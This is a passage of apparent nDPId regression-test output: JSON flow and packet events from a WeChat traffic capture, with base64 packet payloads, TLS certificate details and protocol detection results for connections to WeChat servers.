5zeW1jYi5jb20wTAYDVR0gBEUwQzBBBgpghkgBhvhFAQc2MDMwMQYIKwYBBQUHAgEWJWh0dHA6Ly93d3cuZ2VvdHJ1c3QuY29tL3Jlc291cmNlcy9jcHMwKQYDVR0RBCIwIKQeMBwxGjAYBgNVBAMTEVN5bWFudGVjUEtJLTEtNTM5MA0GCSqGSIb3DQEBCwUAA4IBAQCg1Pcs+3QLf2TxzUNqn2JTHAJ8mJCi7k9o1CAacxI+d7NQ63K87oi+fxfqd4+DYZVPhKHLMk9sIb7SaZZ9Y73cK6gf0BOEcP72NZWJ+aZ3sEbIu7cT9clgadZM\/tKO79NgwYCA4ef7i28heUrg3Kkbwbf7w0lZXLV3B0TUl\/xJAIlvBk4BcBmsLxHA4uYPL4ZLjXvDuacu9PGsFj45SVGeF0tPEDpbpaiSb\/361gsDTUdWVxnzy2v189bPsPX1oxHSIFMTNDcFLENaY9+NQNaFHlHpURceA1bJ8TCt55sRornQMYGbaLHZ6PPmlH7HrhMvh+3QJbBo+d4IWvMpzNSSFgMDAU0MAAFJAwAXQQSNBLURiDoD55uWxibVC9zReKlFx4BEDXdWGxMFKl9T5qwy1j7jAhyxCIBDLoSWJR9Dlx+HdqCUriOCLFcbeBelBgEBAAXkcFQocFdv33akBjke47ngxkAOMRyasoYgBHjGenVYoTi0PEjdl2sqxRUUGSjaECcxq325chACNvyY2ywZ6MFYIqCgdp6tGKuaNi\/yYIylqLGjabd5yIM7Fdx2GGZ0FEQ4p5DgF1tVyTFPKih1R8rrMvLAjaVmJ8Od9tDaDoY7\/RGQ2kL9HmcXerZBDlLAZAGfVp+8bNPWvgn95WjyjAbsCdg37ZVasaluIxi+CTaA3uKtwBbRvWklXfef10CSBDExvA1micJApp7qZ+syX05\/pRCf0iLsVzOyiiw3Ql5tuxBGzYKExfaCqObpMkrjeni954t5Cs00PEmIQHs94A0WAwMABA4AAAA="} +01312{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":560,"source":"wechat.pcap","alias":"nDPId-test","flow_id":34,"flow_packet_id":8,"flow_first_seen":1492167454457,"flow_last_seen":1492167455196,"flow_tot_l4_data_len":3626,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1720,"flow_avg_l4_data_len":453,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54101,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"web.wechat.com","server_names":"webpush1.wechat.com,webpush.wechat.com,login.web.wechat.com,webpush.web.wechat.com,webpush2.wechat.com,webpush.web2.wechat.com,file.web2.wechat.com,web1.wechat.com,file.web.wechat.com,loginpoll.wechat.com,web2.wechat.com,login.wechat.com,login.web2.wechat.com,res.wechat.com,web.wechat.com","ja3":"e330bca99c8a5256ae126a55c4c725c5","ja3s":"699a80bdb17efe157c861f92c5bf5d1d","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=GeoTrust Inc., CN=GeoTrust SSL CA - G3","issuerDN":"C=HK, ST=HongKong, L=Wan Chai, O=Tencent Mobility Limited, CN=web.wechat.com","alpn":"h2,http\/1.1","fingerprint":"4F:3B:6A:87:0C:D2:34:09:C9:53:9F:6F:EE:7D:7B:9B:E9:D6:EF:C1"}} +00425{"flow_id":34,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":561,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167455,"pkt_ts_usec":196125,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA06X5AAEAGK8bAqAFny82XotNVAbue7PVt4AL\/rIAQARUBNwAAAQEICgAxHbxFraI8"} +00599{"flow_id":34,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":562,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167455,"pkt_ts_usec":197171,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"8IQvSpdgeJKcD6iOCABFAACy6X9AAEAGK0fAqAFny82XotNVAbue7PVt4AL\/rIAYARVbqAAAAQEICgAxHb1FraI8FgMDAEYQAABCQQSe9ct109vl3nZaGpDspqU+kMk+njSATjwJpfRNEoBk4Fy+IGL5tqh9idWN8sua685w\/MhQolN5LUCaobR2x7W5FAMDAAEBFgMDACgAAAAAAAAAAA3rMunx7WZhU\/w92CUQrH9WIDvPZrDkxZfJeEKQqupU"} +00495{"flow_id":35,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":564,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167455,"pkt_ts_usec":495488,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"eJKcD6iO8IQvSpdgCABFoABnTYpAACwG2ufLzZeiwKgBZwG701bGHFZLHTttj4AYAHiAnwAAAQEICkXSB\/YAMR25FAMDAAEBFgMDACjdvGeXbmORNz3imQRxQgJuk9A2g4DSsr760MLCQrIRMFfV61GTF3hu"} +01911{"flow_id":35,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":565,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167455,"pkt_ts_usec":496690,"pkt_caplen":1153,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1153,"pkt_l4_len":1119,"pkt":"8IQvSpdgeJKcD6iOCABFAARzcStAAEAGn9rAqAFny82XotNWAbsdO22PxhxWfoAYARVpUAAAAQEICgAxHghF0gf2FwMDBDoAAAAAAAAAAec2HimkjMvSkuGTQ3MrrTK23YW6zEDG4HtifnBw8dy\/ojjIDVyVauiw2mlYAjbJT7NoH9FiJFwpEOYf27Ebh63VcW8lcOJQJY4vc7EFvVhuDfqkQP78nKDH0qu8CQiY4oXrWHevBRnQoohdj4XDQvoJBw1q\/tgWflxu+7ggVBgjwzHp6ZNuSTLYyhqgqbl0HSDz3BIlXowmwek2YRTP9M2U1LQG9BIHSccX2vVigNw7HpSTkpZz\/\/\/outcNZ2XkMgxOvXVZ630tzzXLsce7GCDGj7DMMl5vC245eeVxx1gQgFSu3x9vugLSoAbOfeE2BOSAf5KWO+Z94IpXmE9Hk9UbMSd+D4wC\/plixDabpKlFbmKADc+kgXGE3eCQxcbh2k0ufOOvYfxWltK7b7z8bPZ2uNOBO6UhLN3p7jcjRbTjIh5+Y5IIEU7iObF8KmgTGzKg+Zgl2vrTFwJxOANMP4g59abHekT4w7GDbu7RXS+Rne8P89j5SJb\/Ms1F+Ay\/ei1OCO13cI3n3ksVR8Oj\/Lo7QlUgkeTKSLhqGUMqEFCPF6IIrb9MVdfxAAETx0ZVKOYynr+X8LI3vNuJ304FY7pG3\/0emqFYzc0M\/FooXUVth+rhH90BTvEv2X\/j9wDc26ribOTSvxyLJoCGsiby5CZlVF1\/djEcjWtcBhkx+\/SLp+dCI\/bfztvDFm5NqWp6YHm\/lsdIxcVAUJ7uUvemZrKirC0o+aMPsbvM\/fYVHqk3q2j2bhSx7ql8BfcZ5LnHeKk1qOcRHl2B0r9lng1QKMASp0JL17\/9stq8Mo9Xrvq0DePvW\/pBqUgQVC+N5aaM8Wnzu0l76NC1xzArS3uVrpEfwS8EyAkZUW1+jDhJ+uQJoeFW+K7OaBq2oa30VkhYpyJUfOYHMmDcJAwLwQcfAYlAxvdlv5pHrNe16uCbjBLisa6JrIY7FQsx2eCPxLs62ZEmdWQImjMwEjFFv74zU\/iqlJfzpeWnLiAnLdALgv5YIePmzWNE5UIiOdat93mdCEsg1AnnhnsXjMXclzsElsm1fwXwPokFCAC0d1ip\/NhZimGoDvsSlRRsj0N8xu9199ysceqlt00bdwnXGp9s+5ObDy38W9nAKQcqKcUV+I54\/sJ84UKa1me1\/29cLFg5qyRgPm++q8jZLGGVQDZLNGanSNt2+PRfhzDHHx3gP9JxWEhLQQ5PmK8u\/myqe1pzKcvvgqtvTir\/xCjK+2+uBRok96zi\/uvTeSBoC12CivEVumMgq5G1XBO2RMq5YgXHlTwkNN6YwYaoXQb1lRzQ7QT2q5lYO\/nriGmObzoWg+CAtR1zudzHb0HWzq3LyXPXOBNv9IT9lFXTbGKmCk3YVTV7xH2ipkEBkxNxFaU0dUOuAy4vOHVrsPUR3hSgKRwmWOCS3m8keVhEVF\/BD7sWrKIglA=="} +00427{"flow_id":36,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":566,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167455,"pkt_ts_usec":499530,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iO8IQvSpdgCABFoAA0\/F1AACwGLEfLzZeiwKgBZwG701d\/O17P5\/Qsq4AQAHiC3gAAAQEICkWtopIAMR25"} +02347{"flow_id":36,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":567,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167455,"pkt_ts_usec":501579,"pkt_caplen":1494,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1494,"pkt_l4_len":1460,"pkt":"eJKcD6iO8IQvSpdgCABFoAXI\/F5AACwGJrLLzZeiwKgBZwG701d\/O17P5\/Qsq4AQAHiLTgAAAQEICkWtopIAMR25FgMDAF0CAABZAwOF+7w2SmHcU9zcb28JcDQnGAmx6shrVHepdober5\/0sSDLK5nEKozFFehKxLSZMCTAPUR52rwta8Dt2NpTSUG7QMAvAAARAAAAAP8BAAEAAAsABAMAAQIWAwMKagsACmYACmMABgowggYGMIIE7qADAgECAhAw0VtVOfZrLt7UNL9vJ0R7MA0GCSqGSIb3DQEBCwUAMEQxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMR0wGwYDVQQDExRHZW9UcnVzdCBTU0wgQ0EgLSBHMzAeFw0xNTA5MjEwMDAwMDBaFw0xODA5MjAyMzU5NTlaMG8xCzAJBgNVBAYTAkhLMREwDwYDVQQIEwhIb25nS29uZzERMA8GA1UEBxQIV2FuIENoYWkxITAfBgNVBAoUGFRlbmNlbnQgTW9iaWxpdHkgTGltaXRlZDEXMBUGA1UEAxQOd2ViLndlY2hhdC5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDOKLCU12ARBCRlKli7V796N1s9bfDDDp36hVnOckXCCtd1EICzDOMCShPpSy6mvuoSPYBr2kWWo99zbB1a21uYKdVpQmanSw53I2i\/nT9Ba10GRLm5DHrUpDUEij+mkz50Z2gx4CFdsKkRaGEZPO+as9uZ5K0vR1Ij1SUq7qYvK\/o8FWohsRDN8NCmoaUDyOkjivmoxwF9B\/OolimvW\/aejHHbaF7KhHMDTMj3pM9w5Z2Pb22IeJh85lDZOl6rH+yOl8HX0\/8DT5oJOmZoGq0Ovth7OnIKiNK8RoWM02mbl0XitpMl\/rj\/RLaSgD7DwrZYmXrRrFMnwlkx7CD4EfJfAgMBAAGjggLHMIICwzCCAT4GA1UdEQSCATUwggExghN3ZWJwdXNoMS53ZWNoYXQuY29tghJ3ZWJwdXNoLndlY2hhdC5jb22CFGxvZ2luLndlYi53ZWNoYXQuY29tghZ3ZWJwdXNoLndlYi53ZWNoYXQuY29tghN3ZWJwdXNoMi53ZWNoYXQuY29tghd3ZWJwdXNoLndlYjIud2VjaGF0LmNvbYIUZmlsZS53ZWIyLndlY2hhdC5jb22CD3dlYjEud2VjaGF0LmNvbYITZmlsZS53ZWIud2VjaGF0LmNvbYIUbG9naW5wb2xsLndlY2hhdC5jb22CD3dlYjIud2VjaGF0LmNvbYIQbG9naW4ud2VjaGF0LmNvbYIVbG9naW4ud2ViMi53ZWNoYXQuY29tgg5yZXMud2VjaGF0LmNvbYIOd2ViLndlY2hhdC5jb20wCQYDVR0TBAIwADAOBgNVHQ8BAf8EBAMCBaAwKwYDVR0fBCQwIjAgoB6gHIYaaHR0cDovL2duLnN5bWNiLmNvbS9nbi5jcmwwgZ0GA1UdIASBlTCBkjCBjwYGZ4EMAQICMIGEMD8GCCsGAQUFBwIBFjNodHRwczovL3d3dy5nZW90cnVzdC5jb20vcmVzb3VyY2VzL3JlcG9zaXRvcnkvbGVnYWwwQQYIKwYBBQUHAgIwNQwzaHR0cHM6Ly93d3cuZ2VvdHJ1c3QuY29tL3Jlc291cmNlcy9yZXBvc2l0b3J5L2xlZ2FsMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAfBgNVHSMEGDAWgBTSb\/eW9IU\/cjwwfSPahXibo3xafDBXBggrBgEFBQcBAQRLMEkwHwYIKwYBBQUHMAGGE2h0dHA6Ly9nbi5zeW1jZC5jb20wJgYIKwYBBQUHMAKGGmh0dHA6Ly9nbi5zeW1jYi5jb20vZ24uY3J0MA0GCSqGSIb3DQEBCwUAA4IBAQAZA+6JF4lvu2XJwUfeUSiNqeNdtX0tN26N"} +00779{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":567,"source":"wechat.pcap","alias":"nDPId-test","flow_id":36,"flow_packet_id":6,"flow_first_seen":1492167454818,"flow_last_seen":1492167455501,"flow_tot_l4_data_len":1874,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1460,"flow_avg_l4_data_len":312,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54103,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"web.wechat.com","ja3":"e330bca99c8a5256ae126a55c4c725c5","ja3s":"699a80bdb17efe157c861f92c5bf5d1d","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1"}} +00425{"flow_id":36,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":568,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167455,"pkt_ts_usec":501611,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0NuVAAEAG3l\/AqAFny82XotNXAbvn9CyrfztkY4AQAPt8dwAAAQEICgAxHglFraKS"} +02349{"flow_id":36,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":569,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167455,"pkt_ts_usec":502415,"pkt_caplen":1494,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1494,"pkt_l4_len":1460,"pkt":"eJKcD6iO8IQvSpdgCABFoAXI\/F9AACwGJrHLzZeiwKgBZwG701d\/O2Rj5\/Qsq4AQAHh6jgAAAQEICkWtopIAMR25i6AhOArffz9dJXvub9aMTE9m7GKRKeFA\/Frtrp0XYhX6JqYW8b5etQL4tC009s8jG\/TuF8dFm+8Qnv4WGTbK3wvSPN1JnNDQWe+joFVsTCgLSjZxmTivYWk1MKykcC3vkTLWMDBQxUwZd+bVuFy+Hg8Wo2jQzS71Re20zkF2fEkUE+GnA3Ez8ZEoMIVFfuZJTLyMwnZDYqRXtmKQLIXy6PQpFijtmZoXa3RaUholNnff2hQGO8247PV9f6R3KrjtNTdvAtNV8PNXxSymO5xp1cn7ghlbtsUCsdT2arvzaytmF1NYKThZAARTMIIETzCCAzegAwIBAgIDAjpvMA0GCSqGSIb3DQEBCwUAMEIxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMRswGQYDVQQDExJHZW9UcnVzdCBHbG9iYWwgQ0EwHhcNMTMxMTA1MjEzNjUwWhcNMjIwNTIwMjEzNjUwWjBEMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNR2VvVHJ1c3QgSW5jLjEdMBsGA1UEAxMUR2VvVHJ1c3QgU1NMIENBIC0gRzMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDjvn4KhqPPa209K6GXrUkkTdd3uTR5CKWeop7eRxKSPX7qGYax6E89X\/fQp3eaWx8KA7UZU9ulIZRpY51qTJEMEEe+EfpshiW3qwRoQjgJZfAU2hme+msLq2LvjafvY3AjqK+B89FuiGdT7BKkKXWKp\/JXPaKDmJfyCn3U50NuMHhiIllZuHEnRaoPZsZVP\/oyFysxj0ag+mkUfJ2fWuLrM04QprPtd2PYw5703d95mnrU7t7dmszDt6ldzBE6B7tvl6QBI0eVH6N3+liSxsfQvc+TGEK3fveeZerVO8rtrMVwof7UEJrwEgRErBpbeFBFV0xvvYDLgVwts7x2oR5lAgMBAAGjggFKMIIBRjAfBgNVHSMEGDAWgBTAephojYn7qwVkDBF9qn1luMrMTjAdBgNVHQ4EFgQU0m\/3lvSFP3I8MH0j2oV4m6N8WnwwEgYDVR0TAQH\/BAgwBgEB\/wIBADAOBgNVHQ8BAf8EBAMCAQYwNgYDVR0fBC8wLTAroCmgJ4YlaHR0cDovL2cxLnN5bWNiLmNvbS9jcmxzL2d0Z2xvYmFsLmNybDAvBggrBgEFBQcBAQQjMCEwHwYIKwYBBQUHMAGGE2h0dHA6Ly9nMi5zeW1jYi5jb20wTAYDVR0gBEUwQzBBBgpghkgBhvhFAQc2MDMwMQYIKwYBBQUHAgEWJWh0dHA6Ly93d3cuZ2VvdHJ1c3QuY29tL3Jlc291cmNlcy9jcHMwKQYDVR0RBCIwIKQeMBwxGjAYBgNVBAMTEVN5bWFudGVjUEtJLTEtNTM5MA0GCSqGSIb3DQEBCwUAA4IBAQCg1Pcs+3QLf2TxzUNqn2JTHAJ8mJCi7k9o1CAacxI+d7NQ63K87oi+fxfqd4+DYZVPhKHLMk9sIb7SaZZ9Y73cK6gf0BOEcP72NZWJ+aZ3sEbIu7cT9clgadZM\/tKO79NgwYCA4ef7i28heUrg3Kkbwbf7w0lZXLV3B0TUl\/xJAIlvBk4BcBmsLxHA4uYPL4ZLjXvDuacu9PGsFj45SVGeF0tPEDpbpaiSb\/361gsDTUdWVxnzy2v189bPsPX1oxHSIFMTNDcFLENaY9+NQNaFHlHpURceA1bJ8TCt55sRornQMYGbaLHZ6PPmlH7HrhMvh+3QJbBo+d4IWvMpzNSSFgMDAU0MAAFJAwAXQQToYIgPQnFHMukPpCMbYAtyCkTOgboRC\/IWCw2BGahXVmhSR3xmGfhbAz7L54KSkbhSzva1W6S0OrLg58ojgD+UBgEBACuWqtiy"} +01312{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":569,"source":"wechat.pcap","alias":"nDPId-test","flow_id":36,"flow_packet_id":8,"flow_first_seen":1492167454818,"flow_last_seen":1492167455502,"flow_tot_l4_data_len":3366,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1460,"flow_avg_l4_data_len":420,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54103,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"web.wechat.com","server_names":"webpush1.wechat.com,webpush.wechat.com,login.web.wechat.com,webpush.web.wechat.com,webpush2.wechat.com,webpush.web2.wechat.com,file.web2.wechat.com,web1.wechat.com,file.web.wechat.com,loginpoll.wechat.com,web2.wechat.com,login.wechat.com,login.web2.wechat.com,res.wechat.com,web.wechat.com","ja3":"e330bca99c8a5256ae126a55c4c725c5","ja3s":"699a80bdb17efe157c861f92c5bf5d1d","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=GeoTrust Inc., CN=GeoTrust SSL CA - G3","issuerDN":"C=HK, ST=HongKong, L=Wan Chai, O=Tencent Mobility Limited, CN=web.wechat.com","alpn":"h2,http\/1.1","fingerprint":"4F:3B:6A:87:0C:D2:34:09:C9:53:9F:6F:EE:7D:7B:9B:E9:D6:EF:C1"}} +00424{"flow_id":36,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":570,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167455,"pkt_ts_usec":502446,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0NuZAAEAG3l7AqAFny82XotNXAbvn9Cyrfztp94AQARF2zQAAAQEICgAxHglFraKS"} +00785{"flow_id":36,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":571,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167455,"pkt_ts_usec":502904,"pkt_caplen":326,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":326,"pkt_l4_len":292,"pkt":"eJKcD6iO8IQvSpdgCABFoAE4\/GBAACwGK0DLzZeiwKgBZwG701d\/O2n35\/Qsq4AYAHgYwAAAAQEICkWtopIAMR25VvFXSBWRH4LVMoif+a3PWQ\/IY3BX1hsBcm4fMDEwF26AvgqENGI8gqQJZCUGW8EqJbDuE+C\/hb1onY1PrhIBPuko\/71qFkmEs6my44YjiyE0x5TShTvdPqSejfT2TzPPcV\/3e+xH+tvqecNTCjdapI4+MA9Yb8fMsWeyfnMeOHXnBYsd2bDm8AUL7SL31x7YPixZDmVgHBBoDdtAKPOoQ+5faYTOkBXiEXR+97jLhGMU03SdTNf\/mmmX3YJXLfBjFjLxGIGnf6GveFv7WkltHvsT0euwWA4nsRqqkJ2s4JDJYh8zA9ILia+m50OrVV4Bak0GHZi2fEv\/a3QWAwMABA4AAAA="} +00425{"flow_id":36,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":572,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167455,"pkt_ts_usec":502931,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0NudAAEAG3l3AqAFny82XotNXAbvn9Cyrfztq+4AQASh1sgAAAQEICgAxHglFraKS"} +00596{"flow_id":36,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":575,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167455,"pkt_ts_usec":505447,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"8IQvSpdgeJKcD6iOCABFAACyNuhAAEAG3d7AqAFny82XotNXAbvn9Cyrfztq+4AYAShdrgAAAQEICgAxHgpFraKSFgMDAEYQAABCQQRLfGOXKsHTwDwaiRJMPFQZdrXTkVPKTQM6wmtGWYnFpie6rLE6uLmht2BoDbC1KqgfZuZPPJuk1BlRiwEqCfGNFAMDAAEBFgMDACgAAAAAAAAAADunnwkcqCnL0CfbOpb62nSTksEflqwm89UZmoGusPUM"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":577,"source":"wechat.pcap","alias":"nDPId-test","flow_id":37,"flow_packet_id":1,"flow_first_seen":1492167455528,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54104,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":37,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":577,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167455,"pkt_ts_usec":528205,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"8IQvSpdgeJKcD6iOCABFAAA8kudAAEAGglXAqAFny82XotNYAbvneYz3AAAAAKACchBIqgAAAgQFtAQCCAoAMR4QAAAAAAEDAwc="} +00497{"flow_id":34,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":579,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167455,"pkt_ts_usec":563548,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"eJKcD6iO8IQvSpdgCABFoABnUb9AAC4G1LLLzZeiwKgBZwG701XgAv+snuz164AYAHizdwAAAQEICkWtopgAMR29FAMDAAEBFgMDACgzgIElE4pLe+2zi2rQXdcjmX\/2eB+Fwjq43XnFbQ9Q8FQ1vez2N5\/z"} +02015{"flow_id":34,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":580,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167455,"pkt_ts_usec":564493,"pkt_caplen":1239,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1239,"pkt_l4_len":1205,"pkt":"8IQvSpdgeJKcD6iOCABFAATJ6YBAAEAGJy\/AqAFny82XotNVAbue7PXr4AL\/34AYARU0AAAAAQEICgAxHhlFraKYFwMDBJAAAAAAAAAAARWWS0VSAp5WXsKBTFf3GCcV8No8JgJmaPj7Fnc7VCQ0J4HlpaDIvs5ol2wRgWiq3aZipcP2F9MHXtsULWPBpMz02LSA4l4zWp2WFWDx1KPZCtHn4iHy1VwgNIKHnrcxv5GD7o\/gYakEexoJcB9XMyFnKQ4uIm51lzZZuhWVi2zFr9qhNPXyiiTLRmd7yHGKLd6xXdyraU\/vOw53LWLm4pjgb9FCtHEhbE9bwa4PoBzIASy15AIAxRtlLPpCHniBq5SPgCkhoZBBZRt4+Es\/HJ6j7cdW3V4YbS9j4JGtvjJEr19ADYKRQi4XsVICY38z3W3UuOaz5tWWUJ266IzaXpEIAUT4\/IpNwlY7VTuCiP1r8CPkBDJ59EyioAla7Mm78yYXNdTzNUBQaPyCcCBVlvChNp0Zub6o9NJBEBw7+FSq6sRjWyldgNITiJTWQ0ilGii8gkM1x1ve1HWvY9Vg7EBf4Rs\/al3Wqc5hU\/LPc34VHbl6GIx5MU01gDseeeHtIoC5Pu0UekyiBxdwmUtvj26YoRWVb1jgumP1H\/6IOIhE3Rdq0M4xHQHEyiOt1KX17L1W\/vPlTxhKXE5dN5wjN7jw6T5BHY17MxAYlLORyIKYK892BsQ2W0GcirIm9GGYr2PLrnAcYtb4y3111+ce0ok352NAeiX33SVVSmYyPq0nXUyC1GMYPwBTzj64sIlz9XSkR5uFF7d5Bqy42tvwU4A91yfiyn9ZHIHDO1kL2FQL3DU1K3f3RlZAD6QezJaBAmKQGZc8wxajGEOZK2xrAsYFrRj48zy4O0kdpMWSNOfUvENBMlh+c3LicWYUQjocSZTiHqY5IlajArulaYTCLB2vvEA4ZS1L38BXuWcdnyCblTnBkjxFnGSx6DATx4yrE6DlwMfycuVVceAidGHBk6ameXFetbkUoKE9XZPecEmYJuJS5RKyA0M1LCJNmnRqrsNDpAVnaExWjF7OEWU0BJOiQsTYBAlxA5IF8We\/OTgQ6uEgjJ7Sid8g262Q2EzeQQgVFDVQd5\/mM\/0gMeOcYdcBxaVPbffXkdWaxDjeuH9jQeuVzPr+k4yxswT4Y1Al2Akz8o2eTGRuAE3wiRCpps7MA3fzunwOR6NZuAkiHwev4fBZhBEiY9n8ltTqBbDZlmE+L6J0p+7GHVQu3OOBdpnggOr\/xthHJqDe9hI7h8Z5YreKyMsBsUvTQ\/T6\/Eg3v2FMaQWgLkhern4QQzLDjBVTPBOmsXTdQkOaenRMhENNhg7Xv62q43S9MlRqsNUyjWrXudvL3bEgfXFEfdvQK3Wi8cwS8Gj++lqITnlfhtObZKN8yJ\/3hngSm82OIGLE3ZjFyyrT51iPw\/KWgteCGoFGuAtv9Um+E2RJlRsFsq5CK1jdM2vHnKEd4wh3jX4+3axO92CX8Pq2qiuplCxQY4VPHmyOndIUMExP0VPFQ7OylVRIaKs3emskGDEEn88N6jXm2Myjo8BpH6m1H7Zylp5\/d0BQp9Wte6obZmfHWktFjlzfq6TYgwZJk\/CF1BlhWQrifnoz8Zv8"} 